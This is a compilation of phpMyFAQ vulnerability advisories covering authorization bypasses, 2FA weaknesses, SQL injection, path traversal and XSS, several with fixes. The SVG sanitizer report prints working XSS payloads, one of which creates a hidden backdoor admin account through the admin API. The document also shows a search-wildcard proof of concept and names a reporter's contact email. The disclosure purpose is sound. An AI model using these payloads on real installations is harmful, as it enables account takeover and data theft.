phpMyFAQ before 4.1.8 contains an authorization bypass vulnerability in the question creation endpoint where the isAddingQuestionsAllowed() method grants access to all callers when main.enableAskQuestions is enabled, ignoring the records.allowQuestionsForGuests setting. Unauthenticated attackers can submit questions via the question/create API endpoint to bypass guest submission restrictions and inject spam into the admin moderation queue.

phpMyFAQ before 4.1.8 contains an authentication bypass vulnerability in its two-factor authentication (TOTP) disable functionality. The removeTwofactorConfig() handler (reachable via POST /api/user/remove-twofactor) verifies only that the user is logged in and that a valid CSRF token is supplied, then disables TOTP without requiring password re-entry or a current TOTP code. The same downgrade is also reachable inline via PUT /api/user/data/update, which accepts a plain twofactorenabled form field under the same session+CSRF-only guard. An attacker who has hijacked a user's session can silently strip two-factor protection from any account, including administrator accounts, after which password-only authentication succeeds.

phpMyFAQ versions before 4.1.8 contain a stored cross-site scripting vulnerability in FaqHelper::convertOldInternalLinks() that calls htmlentitydecode() on sanitized FAQ content, reversing entity-encoding protection. Authenticated users with FAQ editing privileges can inject JavaScript payloads that execute in the browsers of all users viewing the affected FAQ pages.

phpMyFAQ before 4.2.0-alpha.2 contains a missing authorization vulnerability in the admin dashboard API endpoints searches and content-health that enforce only authentication without permission checks. Any authenticated user can access these endpoints to read site-wide search statistics and content-health counters regardless of their privilege level.

phpMyFAQ versions before 4.1.8 include live TOTP shared secrets in plaintext within user data export ZIP files. Attackers obtaining exported archives can extract the TOTP seed and generate valid one-time codes to bypass two-factor authentication.

phpMyFAQ versions before 4.1.8 fail to validate CAPTCHA when the store parameter is set to 'now' in question submission requests. Unauthenticated attackers can bypass CAPTCHA protection and submit unlimited questions directly, causing database pollution and triggering outgoing mail notifications.

phpMyFAQ before v4.1.6 writes content backup ZIP archives to the web-accessible document root at content.zip, exposing sensitive files including database credentials. Unauthenticated attackers can race concurrent requests to download the temporary ZIP file before deletion, or exploit XSS in admin contexts to trigger authenticated backups and retrieve the archive.

phpMyFAQ before 4.1.7 contains an authentication bypass vulnerability in SetupController that allows unauthenticated attackers to run database migrations and create configuration backups when maintenance mode is enabled. Attackers can call POST /api/setup/update-database and POST /api/setup/backup endpoints to execute database updates, disable maintenance mode, and extract database credentials from generated ZIP archives.

phpMyFAQ before 4.1.7 stores password reset tokens in a publicly accessible tracking file when user tracking is enabled. Unauthenticated attackers can read the tracking file at content/core/data/trackingDDMMYYYY to extract reset tokens and replay them against the password reset API to take over user accounts.

phpMyFAQ before 4.1.7 contains a SQL injection vulnerability in the glossary create and update endpoints caused by truncating an escaped string before embedding it in a SQL literal. Authenticated users with glossary add or edit permissions can craft a payload with a dangling backslash to escape the closing quote and inject arbitrary SQL commands to read sensitive database information.

phpMyFAQ versions before 4.1.7 fail to validate active status in the PDF export endpoint, allowing unauthenticated attackers to retrieve draft FAQ metadata. Attackers can access the public PDF export route with sequential FAQ identifiers to obtain titles, solution IDs, author names, and last-update timestamps of inactive or unpublished FAQs.

phpMyFAQ before 4.1.7 contains a two-factor authentication bypass vulnerability where remember-me tokens are issued before 2FA verification completes. Attackers with valid credentials can obtain a remember-me cookie, skip the 2FA challenge, and replay the cookie to gain full authenticated access without second-factor verification.

phpMyFAQ versions 3.1.0 through 4.1.6 contain an authentication bypass vulnerability in AuthLdap::create(). When LDAP authentication is enabled, after a successful LDAP bind the code calls User::setStatus('active') unconditionally, which overwrites the accountstatus column of a pre-existing local account from 'blocked' to 'active'. As a result, a user whose local phpMyFAQ account has been administratively blocked can restore their account and log in by authenticating via LDAP. The state transition is not logged, so administrators cannot detect that the block was overridden. Fixed in 4.1.7.

phpMyFAQ versions before v4.1.6 fail to validate the security.enableRegistration setting in API endpoints, allowing attackers to create user accounts when registration is disabled. Attackers can bypass the registration restriction by submitting requests to POST /api/register or POST /api/v3.1/register endpoints, which do not check the configuration flag enforced by the HTML registration page.

phpMyFAQ before 4.1.6 does not adequately sanitize HTML in FAQ answers before generating PDFs via TCPDF. An attacker with permission to create or edit FAQ content can embed an <img> tag whose src references a local file under the web root's content/ directory (e.g., content/core/config/database.php). When the PDF is generated, phpMyFAQ attempts to read the referenced file; because it is not a valid image the resulting error is converted into an uncaught exception whose stack trace discloses part of the file's contents to any user who triggers the PDF export. By default the disclosed portion is truncated (zend.exceptionstringparammaxlen), but a larger configured value can result in disclosure of entire files, including database credentials.

phpMyFAQ before 4.1.7 fails to properly enforce CONFIGURATIONEDIT permission on admin API read endpoints for LDAP, Elasticsearch, OpenSearch, and dashboard configuration, allowing any authenticated user to access sensitive administrative data. Attackers can retrieve LDAP server topology, bind account names, search bases, index statistics, and site analytics by calling these endpoints with a valid session.

phpMyFAQ before 4.1.7, when configured to use PostgreSQL via the native pgsql PHP extension, declares an incorrect LIKE ESCAPE character ('=') in the Search/Database/Pgsql.php backend while escapeLikeWildcards() escapes user input with the '|' prefix. As a result, wildcard escaping is a no-op and user-supplied % and characters remain active LIKE wildcards. An unauthenticated attacker can submit such characters in the public FAQ search form to force maximally broad pattern matches and expensive sequential scans, resulting in a denial of service. The PDO PostgreSQL backend is not affected, and quotes remain escaped so this does not enable quote-breaking SQL injection or data exfiltration.

phpMyFAQ before 4.1.7 contains a brute-force vulnerability in the two-factor authentication step where the failure counter is session-scoped and reset on each successful password re-authentication. Attackers with a valid password can bypass the five-attempt limit by obtaining a fresh session cookie and repeatedly re-authenticating to reset the counter, enabling unbounded TOTP code guessing.

phpMyFAQ before 4.1.7 fails to persist the WebAuthn login challenge generated by prepareForLogin, because neither WebAuthn controller saves the mutated key objects back to the database. At login the anti-replay comparison is skipped by its own null guard, allowing an attacker who captures a successful WebAuthn assertion to replay it indefinitely and authenticate as the user without any interaction or hardware key.

phpMyFAQ before 4.1.7 fails to apply parent FAQ visibility checks before returning child resources including comments and attachments. Unauthenticated attackers can retrieve restricted comment text, commenter email addresses, and attachment filenames for FAQ records they cannot directly access by querying the comments and attachments API endpoints.

phpMyFAQ before 4.1.6 contains a privilege escalation vulnerability in GroupController::updateMembers() that allows administrators with only group-management permissions to join privileged groups without verification of required rights. Attackers can add themselves to pre-existing groups holding user-management rights and immediately inherit those permissions to modify or delete user accounts.

phpMyFAQ before 4.1.6 fails to validate path traversal sequences in the existingimage field during category updates, allowing authenticated attackers to delete arbitrary files by exploiting insufficient sanitization in Image::delete(). Attackers can delete the database.php configuration file to disable the installation gate and access the public setup wizard to create new superadmin accounts.

phpMyFAQ before v4.1.6 contains a remote code execution vulnerability in the configuration API that allows authenticated administrators with CONFIGURATIONEDIT and ATTACHMENTADD privileges to write arbitrary PHP files by manipulating the upgrade.lastDownloadedPackage setting. Attackers can upload a malicious ZIP file as an attachment, point the updater configuration to its stored path, and extract it into the application root to achieve code execution as the web server user.

Summary The regex-based SVG sanitizer in phpMyFAQ (SvgSanitizer.php) can be bypassed using HTML entity encoding in javascript: URLs within SVG <a href> attributes. Any user with editfaq permission can upload a malicious SVG that executes arbitrary JavaScript when viewed, enabling privilege escalation from editor to full admin takeover.

Details The file phpmyfaq/src/phpMyFAQ/Helper/SvgSanitizer.php (introduced 2026-01-15) uses regex patterns to detect dangerous content in uploaded SVG files. The regex for javascript: URL detection is:

/href\s=\s["\']javascript:[^"\']["\']/i

This pattern matches the literal string javascript: but fails when the URL is HTML entity encoded. For example, &#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58; decodes to javascript: in the browser, but does NOT match the regex. The isSafe() method returns true, so the SVG is accepted without sanitization.

Additionally, the DANGEROUSELEMENTS blocklist misses <animate>, <set>, and <use> elements which can also be used to execute JavaScript in SVG context.

Uploaded SVG files are served with Content-Type: image/svg+xml and no Content-Disposition: attachment header, so browsers render them inline and execute any JavaScript they contain.

The image upload endpoint (/admin/api/content/images) only requires the editfaq permission — not full admin — so any editor-level user can upload malicious SVGs.

PoC Basic XSS (confirmed working in Chrome 146 and Edge)

1. Login to phpMyFAQ admin panel with any account that has editfaq permission 2. Navigate to Admin → Content → Add New FAQ 3. In the TinyMCE editor, click the image upload button 4. Upload this SVG file:

xml <?xml version="1.0" encoding="UTF-8"?> <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 200 200"> <a href="&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;alert(document.domain)"> <text x="20" y="50" font-size="16" fill="red">Click for XSS</text> </a> </svg>

5. The SVG is uploaded to /content/user/images/<timestamp><filename>.svg 6. Open the SVG URL directly in a browser 7. Click the red text → alert(document.domain) executes

Privilege Escalation (Editor → Admin Takeover)

1. As editor, upload this SVG:

xml <?xml version="1.0" encoding="UTF-8"?> <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 500 300"> <rect width="500" height="300" fill="#f8f9fa"/> <text x="250" y="100" text-anchor="middle" font-size="22" fill="#333">📋 System Notice</text> <a href="&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;fetch('/admin/api/user/add',{method:'POST',headers:{'Content-Type':'application/json'},body:JSON.stringify({userName:'backdoor',userPassword:'H4ck3d!',realName:'System',email:'evil@attacker.com','is-visible':false}),credentials:'include'}).then(r=>r.json()).then(d=>document.title='pwned')"> <rect x="150" y="170" width="200" height="50" rx="8" fill="#0d6efd"/> <text x="250" y="200" text-anchor="middle" font-size="16" fill="white">View Update →</text> </a> </svg>

2. Send the SVG URL to an admin 3. Admin opens URL, clicks "View Update →" 4. JavaScript creates backdoor admin user backdoor:H4ck3d! 5. Attacker logs in as backdoor with full admin privileges

Impact This is a Stored Cross-Site Scripting (XSS) vulnerability that enables privilege escalation. Any user with editfaq permission (editor role) can upload a weaponized SVG file. When an admin views the SVG, arbitrary JavaScript executes in their browser on the phpMyFAQ origin, allowing the attacker to: - Create backdoor admin accounts via the admin API - Exfiltrate phpMyFAQ configuration (database credentials, API tokens) - Modify or delete FAQ content - Achieve full admin account takeover The vulnerability affects all phpMyFAQ installations using the SvgSanitizer class (introduced 2026-01-15). Recommended fix: replace regex-based sanitization with a DOM-based allowlist approach, or serve SVG files with Content-Disposition: attachment to prevent inline rendering.

Summary

The searchCustomPages() method in phpmyfaq/src/phpMyFAQ/Search.php uses realescapestring() (via escape()) to sanitize the search term before embedding it in LIKE clauses. However, realescapestring() does not escape SQL LIKE metacharacters % (match any sequence) and (match any single character). An unauthenticated attacker can inject these wildcards into search queries, causing them to match unintended records — including content that was not meant to be surfaced — resulting in information disclosure.

Details

File: phpmyfaq/src/phpMyFAQ/Search.php, lines 226–240

Vulnerable code: php $escapedSearchTerm = $this->configuration->getDb()->escape($searchTerm); $searchWords = explode(' ', $escapedSearchTerm); $searchConditions = [];

foreach ($searchWords as $word) { if (strlen($word) <= 2) { continue; } $searchConditions[] = sprintf( "(pagetitle LIKE '%%%s%%' OR content LIKE '%%%s%%')", $word, $word ); }

escape() calls mysqli::realescapestring(), which escapes characters like ', \, NULL, etc. — but explicitly does not escape % or , as these are not SQL string delimiters. They are, however, LIKE pattern wildcards.

Attack vector:

A user submits a search term containing or % as part of a 3+ character word (to bypass the strlen <= 2 filter). Examples:

- Search for ab → LIKE becomes '%ab%' → matches any single character, e.g. matches "aXb", "a1b", "azb" — broader than the literal string ab - Search for te%t → LIKE becomes '%te%t%' → matches test, text, te12t, etc. - Search for % → LIKE becomes '%%%' → matches any record with at least one character, effectively dumping all custom pages

This allows an attacker to retrieve custom page content that would not appear in normal exact searches, bypassing intended search scope restrictions.

PoC

1. Navigate to the phpMyFAQ search page (accessible to unauthenticated users by default). 2. Submit a search query: % (underscore, percent, underscore — length 3, bypasses the <= 2 filter). 3. The backend executes: WHERE (pagetitle LIKE '%%%' OR content LIKE '%%%') 4. This matches all custom pages with at least one character in title or content — returning content that would not appear for a specific search term.

Impact

- Authentication required: None — search is publicly accessible - Affected component: searchCustomPages() in Search.php; custom pages (faqcustompages table) - Impact: Unauthenticated users can enumerate/disclose all custom page content regardless of the intended search term filter - Fix: Escape % and in LIKE search terms before interpolation: php $word = strreplace(['\\', '%', ''], ['\\\\', '\\%', '\\'], $word); Or use parameterized queries with properly escaped LIKE values.

phpMyFAQ before 4.1.5 contains a privilege escalation vulnerability in the user/add API endpoint that allows non-SuperAdmin administrators to create SuperAdmin accounts. A delegated administrator with USERADD/EDIT/DELETE permissions can call POST /admin/api/user/add with isSuperAdmin: true and attacker-chosen credentials to create a SuperAdmin account, then authenticate as that account to achieve full instance takeover.

phpMyFAQ before 4.1.5 applies inconsistent active=yes and publication-date filtering across its public FAQ API endpoints, allowing unauthenticated attackers to retrieve inactive (draft or review-only) FAQ content. Specifically, GET /api/v3.1/faq/{categoryId}/{faqId} returns the inactive FAQ title and full answer, while GET /api/v3.1/faqs/tags/{tagId} and GET /api/v4.0/faqs/tags/{tagId} return the inactive FAQ title and answer preview, disclosing non-public content.

phpMyFAQ before 4.1.5 contains a potential authenticated path traversal vulnerability in the concatenatePaths() function within src/phpMyFAQ/Export/Pdf/Wrapper.php. A user with FAQ editing privileges can store HTML containing crafted image paths that are processed during PDF generation. The path resolution logic locates the substring "content" within a user-controlled path using strpos(); when "content" is absent, strpos() returns false, which becomes 0 when cast to an integer, preserving the entire attacker-controlled path. This path is later passed to filegetcontents() without canonicalization or root-directory containment validation, which may allow reading of files outside the intended content directory.

phpMyFAQ before 4.1.5 contains a privilege escalation vulnerability in GroupController::updatePermissions that allows GROUPEDIT administrators to grant arbitrary rights to groups without verifying they hold those rights themselves. A delegated administrator can exploit this by assigning high-value permissions to a group they belong to, inheriting those rights and escalating privileges up to full administrative control.

Missing Authorization in API CategoryController — CVE-2026-24421 fixed BackupController by adding userHasPermission(PermissionType::BACKUP). The same fix was NOT applied to 4 other write endpoints in the public API. All 4 only call hasValidToken() (shared API key) but never call userHasPermission(), allowing any API token holder to perform admin operations regardless of their user permissions.

Summary

CVE-2026-24421 fixed BackupController by adding: $this->userHasPermission(PermissionType::BACKUP);

The same fix was NOT applied to 4 other write endpoints in the public API. All 4 only call $this->hasValidToken() — which checks a shared API key header, NOT the individual user's role permissions.

Affected Endpoints

1. src/phpMyFAQ/Controller/Api/CategoryController.php → create() POST /api/v4.0/category Missing: userHasPermission(PermissionType::CATEGORYADD) Any API token holder can create categories regardless of user role.

2. src/phpMyFAQ/Controller/Api/FaqController.php → create() POST /api/v4.0/faq Missing: userHasPermission(PermissionType::FAQADD) Any API token holder can create FAQ entries regardless of user role.

3. src/phpMyFAQ/Controller/Api/FaqController.php → update() PUT /api/v4.0/faq Missing: userHasPermission(PermissionType::FAQEDIT) Any API token holder can update any FAQ entry regardless of user role.

4. src/phpMyFAQ/Controller/Api/QuestionController.php → create() POST /api/v4.0/question Missing: permission check Any API token holder can create questions regardless of user role.

Root Cause

All 4 methods only call: $this->hasValidToken(); ← shared API key, not per-user

The fixed BackupController correctly calls: $this->userHasPermission(PermissionType::BACKUP);

PermissionType::CATEGORYADD, FAQADD, FAQEDIT all exist in src/phpMyFAQ/Enums/PermissionType.php — they just are not being used.

Fix

Add userHasPermission() before the logic in each method:

// CategoryController.create() $this->userHasPermission(PermissionType::CATEGORYADD);

// FaqController.create() $this->userHasPermission(PermissionType::FAQADD);

// FaqController.update() $this->userHasPermission(PermissionType::FAQEDIT);

Reporter

CONTACT Santhoshini Ganta Github:@santhoshinipayload Email: santhoshinive75@gmail.com LinkedIn: http://linkedin.com/in/santhoshini-g-1440621ba